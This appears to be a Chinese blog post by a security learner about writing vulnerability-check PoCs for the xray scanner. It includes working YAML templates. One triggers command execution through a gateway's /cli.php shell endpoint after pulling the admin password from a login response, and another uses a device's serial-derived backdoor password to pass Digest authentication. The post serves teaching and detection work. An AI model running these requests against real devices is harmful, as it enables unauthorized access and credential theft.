在刚接触安全渗透的时候,常对于各种各样庞杂的技术感到有些头皮发麻,sql注入、xss、csrf、ssrf等一众名词也让人有些望而却步。后来在前辈的指引下认识到了 sqlmap,nmap 等工具,在进行了一段时间的学习后,慢慢对 sqlmap 的其中一个参数非常的感兴趣—— m 参数,也就是对文件中存在可注入的链接进行注入测试,这种批量的扫描漏洞的行为极大的激发了我学习的兴趣,同时也想要找到比 sqlmap 能更加准确,扫描切入点更多的工具。
正巧在这个时候,我得知一位大佬通过一个叫 xray 的工具结合自己写的 PoC,扫描出了百度的一个漏洞,获得了不菲的奖励。立马对 xray 产生了很大的兴趣,也是在那个时候,了解了什么是 PoC,EXP 等概念(原谅一个当时在学校刚接触安全的小白在几个月后才接触了这些)
PoC
,Proof of Concept
,意思是 利用证明
。可使得使用者能够确认这个漏洞是真实存在的
。EXP,Exploit
中文意思是 漏洞利用
。意思是一段对漏洞如何利用的详细说明或者一个演示的漏洞攻击代码
,可以使得使用者完全了解漏洞
的机理以及利用的方法
。 在得知 xray 后,我也是很快的开始尝试 xray ,但在那个时候,我同时也了解到了 AWVS,w12scan 等扫描器。于是那个时候的我便开始反复横跳。那个时候的 xray 刚刚开放1.0版本不久,PoC 不像现在的多,功能上也不是那么的强悍,本身自带的爬虫对比 AWVS 等有略显不足,但对于那个时候的我来说,相比较于 w12scan 麻烦的部署方式(对于那个时候的我)和 AWVS 半天时间用掉了我 30G 流量的恐怖(鬼知道为什么那么多), xray 简便的使用方式,多平台通用,Rad 的正式发布,我自然而然的开始向 xray 倾斜。
当我最后沉下心,专注的看了 xray 的各种内容,大佬们分享的文章后,让 xray 在我的心中地位又加重了一分,同时一个月更新4个版本的速度,和社区的活跃也让我非常的感叹。(2021年更新确实慢了不少,但社区还是活跃)
进入工作的一段时间里,我开始频繁的使用 xray,同时也不断地学习渗透的知识, xray 扫描出的漏洞报告简洁明了,让我在不断学习的同时,也借着 xray 扫出的漏洞不断地复现,知识也在不断的印证。直到我开始关注一些前线的漏洞预警,威胁情报等信息的时候,突然发现,很多刚爆出的漏洞,xray 并不能扫描出,因为他的更新频率始终赶不上漏洞出现的频率,就算有师傅已经提交在了Pull requests,但始终是要等下个版本的合并,或自己下载下来再使用。这样还是过于繁琐。再加上提交POC可以换取高级版,增加漏洞扫描类型,也正是在这个时候,我动了自己写一个POC的念头。
当开始有这个念头后,我第一时间想到了官方文档中我从未涉及过的地方,自定义POC语法 - xray 安全评估工具文档。
在通读了一遍文档后,我对 xray PoC 的运行有了简单的概念:通过写一个固定的yml文件,让 xray 以这个 yml 文件的内容进行发包,再通过返回包来判断是否存在漏洞。而我应该做的便是告诉 xray 应该发一个什么样的包,并告诉他应该在返回包中获取到什么样的信息。
同时也认真的学习了一下有关匹配返回包中的信息时使用的表达式,expression表达式(详细内容查看最新文档自定义 PoC 语法 V2 版本)
推荐在看完官方文档后,如果还是没有什么头绪或者无从下手,也可以看一下长亭在知乎发的这篇文章:如何编写一个xray POC,虽然其中的格式已经过时,但对于一个poc的成型的思想上还是很有所帮助的,尤其应该关注其中关于POC结构,Rule,expression相关的知识。但值得提醒的一点,如果你没有什么编程基础,是刚接触这方面的小白,建议先无视文章或者官方文档中复杂的规则,先大概有所了解就好,只去了解最基础的,然后先从编写一个只发一个简单的数据包就能确认漏洞存在的POC开始。
在知道了这些后,结合我在github中翻到的P神写的 xray PoC 编写辅助工具 (当然长亭的知乎文章中也有提到,这个工具对不熟悉yaml格式的师傅非常友好),我开始了我的第一个POC编写之旅。
当想要开始写一个POC并贡献POC的时候,我们应基本遵循以下的流程去了解如何去编写一个高质量的POC,如何去提交POC。以便于我们在编写,提交的过程中少走弯路。
由于现在 xray PoC更新到了 V2,所以以下内容会尽量按照 V2 的来
漏洞方面,首先先去看官方文档中有关贡献POC方面的要求(如果只是自己使用,可以略过,但提交POC等可以获取高级版,所以建议观看),然后查看Pull requests · chaitin/xray (github.com)和CT stack 安全社区 (chaitin.com),查看所选择的漏洞是否有被提交。
最终看下来后,我选择了 ***** 的一个 RCE 漏洞进行编写POC。
这个漏洞是在 web 管理页面上,使用管理员的用户名密码登录设备后,可通过 web 页面执行部分操作命令,设备上有接口来读取这些操作命令的返回值。接口对返回值中存在的恶意指令过滤不充分,导致设备可以通过 CLI 被远程执行一些恶意指令。
这个漏洞是通过 POST 的形式向目标的/cli.php?a=shell
这个链接发送notdelay=true&command=
这样一串数据,而 command 处则可以填写执行的命令。于是我便通过P神的网站很快的编写出了 PoC。
这样的 PoC 在现在看来无疑是非常有问题的,但当时的我在写完后非常的兴奋,在将生成的结果复制出来修改好后,便使用命令对 PoC 进行格式检测xray.exe pl --script nacos-cve-2021-29441.yml
(这是最新的检查命令),在检查提示中,使用python3 -m pip install yamllint
安装了yamllint(xray检测yaml格式使用的工具),并通过了检测。
在 PoC 上传到 github 或者社区的时候,接受上传处会首先对 PoC 进行格式方面的检测,如果格式检测有问题,会首先提示修改格式,然后才会有人工进行内容的审核。而上传处进行检测的原理我们可以拿 github 来看:xray 在 github 上以一个项目的形式存在,并设定了 Action,当有人提交 PoC 的时候,会首先执行一个由check_poc.yml规范的动作,具体代码如下:
1name: Check POC
2on: [push, pull_request]
3jobs:
4 check_poc:
5 runs-on: ubuntu-18.04
6 steps:
7 - uses: actions/setup-python@v1
8 with:
9 python-version: 3.7
10 - uses: actions/checkout@v2
11 with:
12 fetch-depth: 1
13 - name: Prepare
14 run: |
15 cd $GITHUB_WORKSPACE && \
16 wget -nv https://github.com/chaitin/xray/releases/download/1.8.2/xray_linux_amd64.zip && \
17 pip3 install yamllint && \
18 unzip xray_linux_amd64.zip && \
19 echo 'update:
20 check: false' > config.yaml
21 - name: Check POC
22 run: |
23 cd $GITHUB_WORKSPACE && \
24 ./xray_linux_amd64 poclint --script "./pocs/*" --filepath "./pocs/" --rules filename,filepath,yamlschema,yamllint,cellint && \
25 ./xray_linux_amd64 poclint --script "./fingerprints/*" --filepath "./fingerprints/" --rules filename,filepath,yamlschema,yamllint,cellint
从上述代码我们可以很清晰地发现他的检测逻辑:获取一个运行环境->进入工作目录->获取最新版 xray 的压缩包->使用pip安装yamllint->解压 xray 并使用poclint --script
参数进行检测
明白了这个逻辑我们就可以发现,只要我们在本地使用 xray 进行检测并通过,那么在上传后,就一定会通过检测,可以直接进入人工审核阶段。
检测内容主要是以下几点:
我修改了之前写的一些 PoC 的内容来做示范,大致演示一下 PoC 出现问题时的检测反馈与修改:
在命名的时候,一般会出现上图中的几个格式上的错误:
poc-yaml-
)^(?:poc-yaml|custom|fingerprint-yaml)-[a-z0-9\\-]+$
,可以注意到,后面匹配并没有大写字母。当 CEL 表达式出现一些问题的时候 cellint 便会检测出,并给予修改意见,按照其修改后的样式修改即可
当都修改完成后,便会如下图展示的反馈,这个时候便可以提交了。
检测通过后,在CT stack 安全社区 (chaitin.com)填写相关信息,添加测试环境地址(fofa/shodan语句),进行 PoC 的提交。
1name: poc-*****-eg-rce
2rules:
3 - method: POST
4 path: "/cli.php?a=shell"
5 follow_redirects: false
6 body: |
7 notdelay=true&command=cat /etc/passwd
8 expression: |
9 response.status == 200 && response.body.bcontains(b"\"status\":true,\"data\"") && response.body.bcontains(b"root")
10detail:
11 author: Jarcis
12 links:
13 - http://wiki.peiqi.tech/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7EG%E6%98%93%E7%BD%91%E5%85%B3%20cli.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html
14
分析这个poc会发现,他虽然格式上没有什么问题,但匆忙写 PoC的我忽略了编写高质量 PoC - xray这篇文章的内容,在编写的时候,匹配上选择检测到 root 这种不严谨的检测语句而不是root:[x*]:0:0:
这样的正则检测。当然不同的版本可能内容也会有所变化,所以此处最好不使用这种方式来进行 RCE 的检测。
其次,这个漏洞需要在以管理员身份登录的情况下才可以触发,在进行爬虫扫描的时候,基本不可能触发,所以这个 PoC 如果只是单纯这样,用处也不大。应该结合另一个在登陆口处获取管理员账号密码的漏洞一起来使用才行。
令我没想到的是,我提交上去后,smile-jpg 师傅对我的 PoC 进行了修改,然后通过了审核。
1name: poc-*****-eg-cli-rce
2set:
3 r1: randomInt(8000, 10000)
4 r2: randomInt(8000, 10000)
5rules:
6 - method: POST
7 path: /login.php
8 headers:
9 Content-Type: application/x-www-form-urlencoded
10 body: |
11 username=admin&password=admin?show+webmaster+user
12 expression: |
13 response.status == 200 && response.content_type.contains("text/json")
14 search: |
15 {"data":".*admin\s?(?P<password>[^\\"]*)
16 - method: POST
17 path: /login.php
18 headers:
19 Content-Type: application/x-www-form-urlencoded
20 body: |
21 username=admin&password={{password}}
22 expression: |
23 response.status == 200 && response.content_type.contains("text/json") && response.headers["Set-Cookie"].contains("user=admin") && response.body.bcontains(b"{\"data\":\"0\",\"status\":1}")
24 - method: POST
25 path: "/cli.php?a=shell"
26 follow_redirects: false
27 body: |
28 notdelay=true&command=expr {{r1}} * {{r2}}
29 expression: |
30 response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
31detail:
32 author: Jarcis
33 links:
34 - https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/PeiQi/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7EG%E6%98%93%E7%BD%91%E5%85%B3%20cli.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md
35
他添加了在登陆口获取账号密码并登陆的操作,并添加了两个随机数,执行命令时,如果返回了随机数相乘执行的结果,便证明漏洞存在。
看到了这样的修改后,我在学到不少新东西,更了解了应该怎样写好一个 PoC 的同时,也对社区的师傅非常的感动,没有驳回这样一个错漏百出的 PoC 的同时还修改并通过了审核,这对当时的我来说是一剂非常强力的强心剂,也为我后续编写更多的 PoC 提供了很大的帮助。
xray在久违的更新后,PoC 的编写格式也更新到了 V2,官方也是将已经存在的 200+,官网也已经更新了 V2 版本的编写教程。当然P神的那个辅助 PoC 生成器只能生成 V1 版本。但我们可以使用 xray 自带的命令将 V1 版本转换为 V2 版本,具体方式则可以通过xray.exe transform v1 --help
进行查看。
以下是 V2 版本的上述 PoC 的代码:
1name: poc-*****-cli-rce
2manual: true
3transport: http
4set:
5 r1: randomInt(8000, 10000)
6 r2: randomInt(8000, 10000)
7rules:
8 r0:
9 request:
10 cache: true
11 method: POST
12 path: /login.php
13 headers:
14 Content-Type: application/x-www-form-urlencoded
15 body: |
16 username=admin&password=admin?show+webmaster+user
17 expression: response.status == 200 && response.content_type.contains("text/json")
18 output:
19 search: '"{\"data\":\".*admin\\s?(?P<password>[^\\\\\"]*)".bsubmatch(response.body)'
20 password: search["password"]
21 r1:
22 request:
23 cache: true
24 method: POST
25 path: /login.php
26 headers:
27 Content-Type: application/x-www-form-urlencoded
28 body: |
29 username=admin&password={{password}}
30 expression: response.status == 200 && response.content_type.contains("text/json") && response.headers["Set-Cookie"].contains("user=admin") && response.body.bcontains(b"{\"data\":\"0\",\"status\":1}")
31 r2:
32 request:
33 cache: true
34 method: POST
35 path: /cli.php?a=shell
36 body: |
37 notdelay=true&command=expr {{r1}} * {{r2}}
38 follow_redirects: false
39 expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
40expression: r0() && r1() && r2()
41detail:
42 author: Jarcis
43 links:
44 - https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/PeiQi/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7EG%E6%98%93%E7%BD%91%E5%85%B3%20cli.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md
45
相对于 V1 版本,V2 版本新增的 output 要比之前的 search 好用一些,可以在 output 中处理一些在下个包中会使用到的变量。例如返回的 body 中的数据为:
1["ooo":1,"date":"15.2.2021","tart":"154853254","macaddr":"00:00:00:00:00:00"]
你需要匹配 date 的内容和 tart 的内容,并对 tart 的内容进行 md5 加密再截取,还需要拼接,就可以这样写:
1rules:
2 r1:
3 # 此处为一个 http request 的例子
4 request:
5 method: GET
6 path: "/"
7 expression: |
8 response.status==200
9 # 相比于 V1 版本新增
10 output:
11 search: '"date\":\"(?P<date>.+?)\",\"tart".bsubmatch(response.body)'
12 date: search['date']
13 search2: '"tart\":\"(?P<tart>.+?)\",\"mac".bsubmatch(response.body)'
14 tart: search2['tart']
15 tartmd5: substr(md5(tart),0,16) # 对匹配到的tart的内容进行md5加密,然后再截取前十六位
16 tartty: date + tartmd5 + "asd" # 对匹配到的date,格式化好后的tart,字符串"asd"进行拼接
17 r2:
18 # 上述定义出的变量的使用
19 request:
20 method: POST
21 path: "/"
22 body:
23 a={{date}}&b={{tart}}&c={{tartmd5}}&d={{tartty}}
24 expression: |
25 response.status==200
26
需要注意,search 后不能再跟 search,应先将需要的数据提取出来,再进行下一个 search,否则会匹配不到数据。
同时 search 名称最好不要一致,可能会出现报错。
通过上述的技巧,其实可以发现,我们可以通过对返回包中内容的处理,完成 Digest auth 认证。以下为 PoC 实例:
1name: poc-yaml-auerswald-cve-2021-40859
2transport: http
3set:
4 dcnonce: randomLowercase(8)
5rules:
6 r1:
7 request:
8 method: GET
9 path: "/about_state"
10 expression: response.status == 200 && r'serial.*?\d+.,'.bmatches(response.body) && r'date.+?20[0-9][0-9].,'.bmatches(response.body)
11 output:
12 search: '"serial\":\"(?P<serial>.+?)\",\"date".bsubmatch(response.body)'
13 serial: search["serial"]
14 search: '"date\":\"(?P<date>.+?)\",\"macaddr".bsubmatch(response.body)'
15 date: search["date"]
16 HA: serial + "r2d2" + date
17 password: substr(md5(HA),0,7)
18 r2:
19 request:
20 method: GET
21 path: "/tree"
22 expression: response.status == 401
23 output:
24 search: '"nonce=\"(?P<nonce>.*)\", opaque".submatch(response.headers["WWW-Authenticate"])'
25 nonce: search["nonce"]
26 search: '"opaque=\"(?P<opaque>.*)\",algorithm".submatch(response.headers["WWW-Authenticate"])'
27 opaque: search["opaque"]
28 cnonce: substr(md5(dcnonce),0,16)
29 username: '"Schandelah"'
30 OHA1: username + ":Auerswald:" + password
31 HA1: md5(OHA1)
32 resp: HA1 + ":" + nonce + ":" + "00000001" + ":" + cnonce + ":auth:a94ba59ccc1aaf76cedba69ce4d102d2"
33 respmd5: md5(resp)
34 r3:
35 request:
36 method: GET
37 path: "/tree"
38 follow_redirects: true
39 headers:
40 Authorization: Digest username="Schandelah", realm="Auerswald", nonce="{{nonce}}", uri="/tree", algorithm=MD5, response="{{respmd5}}", opaque="{{opaque}}", algorithm="MD5", qop=auth, nc=00000001, cnonce="{{cnonce}}"
41 expression: response.status == 200 && response.body.bcontains(b"Servicetools")
42expression: r1() && r2() && r3()
43detail:
44 author: Jarcis-cy(https://github.com/jarcis-cy)
45 links:
46 - https://www.redteam-pentesting.de/en/advisories/rt-sa-2021-007/-auerswald-compact-multiple-backdoors
47 summary: 'username:Schandelah;password:{{password}}'
48
通过这个POC,我们可以注意到三点:
1. output中定义变量并给变量赋值的时候,如果是纯字符串,需要先单引号再双引号引起来,否则会报错
1. 在output中进行变量拼接的时候,不能以字符串开头,如果需要以字符串开头,需先将该字符串通过第一点的方式定义出来
1. md5函数中可以直接引用之前的变量,不能在函数中进行字符串拼接
对于我来说,从接触 xray 到编写第一个 PoC 再到现在,让我收获最多的并不是提交 PoC 后换取的高级版,而是在编写 PoC 时的思考,思考漏洞的触发条件,利用方式;在复现漏洞时的操作;在研究其他人编写的POC的精妙之处。这些才是我最大的收获,同时对我也是一个很大的提升。
所以我常劝身边刚开始学习安全的人去尝试编写一下 xray 的 PoC,因为这是一个非常好的入门的机会,一个从小白到懂一点知识的人的机会。往常POC的编写还需要一定的代码知识,需要学习python等语言,学会发包等操作,有一定的门槛。但 xray 的 PoC 的编写不需要,只需要认真的阅读官方的文档,认真的学习他人写的 PoC,在这个过程中不断的思考与实践,就算最后所写的 PoC 不被通过,但我相信这样操作下来就已经有所收获。